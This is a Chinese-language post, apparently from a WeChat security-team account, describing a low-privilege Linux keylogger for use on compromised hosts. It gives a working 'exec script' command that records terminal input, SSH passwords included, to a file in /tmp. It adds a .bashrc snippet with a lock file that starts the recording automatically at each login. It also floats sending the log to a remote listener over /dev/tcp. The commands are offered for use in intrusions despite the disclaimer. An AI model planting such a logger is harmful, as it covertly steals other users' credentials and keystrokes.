朋友们现在只对常读和星标的公众号才展示大图推送，建议大家把SecretTeam安全团队“设为星标”，否则可能就看不到了啦！
免责声明
"本文档所提供的信息旨在帮助网络安全专业人员更好地理解并维护他们负责的网站和服务器等系统。我们鼓励在获得适当授权的情况下使用这些信息。请注意，任何未经授权的使用或由此产生的直接或间接后果和损失，均由使用者自行承担。我们提供的资源和工具仅供学习和研究之用，我们不鼓励也不支持任何非法活动。"
"我们创建这个社区是为了促进技术交流和知识分享。我们希望每位成员都能在遵守法律法规的前提下参与讨论和学习。如果使用本文档中的信息导致任何直接或间接的后果和损失，我们提醒您，这将由您个人承担。我们不承担由此产生的任何责任。如果有任何内容侵犯了您的权益，请随时告知我们，我们将立即采取行动并表示诚挚的歉意。我们感谢您的理解和支持。"
前言
拿了几台机器，虽说部分机器有 ROOT，可以直接用之前的 一般路过 PAM 后门 / SSH 密码记录，来替换 PAM，用于记录密码。
然而问题是，目标主机使用了 LDAP，还自己改了改他们的 PAM，所以直接替换 PAM 的方案行不通了。
而且有一个跳板机，我们没有低权限，但是当前用户却会用这台机器连接其他目标，使用的都是一些我们没找到的凭据。
那么有没有什么办法能搞到他们呢？
最开始预想的是用 go，自己写一个，直接起个 pty 直接 io.copy 用户输入和 bash，然后我们监听目标输入就行。
之后在大佬的提拔下。知道了还有 script 这个好东西。
直接一句
exec script -B /tmp/aaa -aqf
内容会保存在/tmp/aaa文件中
没有 - B 参数把 - B 参数删了其实也没差
经过测试，SSH输入的密码也能记录。简直就是linux自带后门
然后就是用户登录自动记录的问题了。一开始直接把这个放到.bashrc/.zshrc 下的最后一行，发现并不能 work。
了解了下才发现，这个语句会加载 bashrc 的脚本造成这行代码的递归调用。
说到底就是加载.bashrc,bashrc 运行 script，script 加载 bashrc，bashrc 加载 script 这样循环....
解决方案也很简单。直接在最后一行换成
if [ -f /tmp/script.lock ];then
rm /tmp/script.lock
else
echo lock > /tmp/script.lock
exec script -B /tmp/test -aqf
fi
进阶
本来想着这个 - B 参数能不能用类似 /dev/tcp 这种文件符号直接发送到远端，这样我们只要开着个接收器别人的密码就来了更安全更隐蔽。
目前只是想到了这个方案，但是由于比较忙，没有往下继续进行研究。如果有兴趣的可以互相交流一下，出一个标准的解决文档。
原文始发于微信公众号（SecretTeam安全团队）：低权 Linux 键盘记录方案
原文始发于微信公众号（SecretTeam安全团队）：低权 Linux 键盘记录方案
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论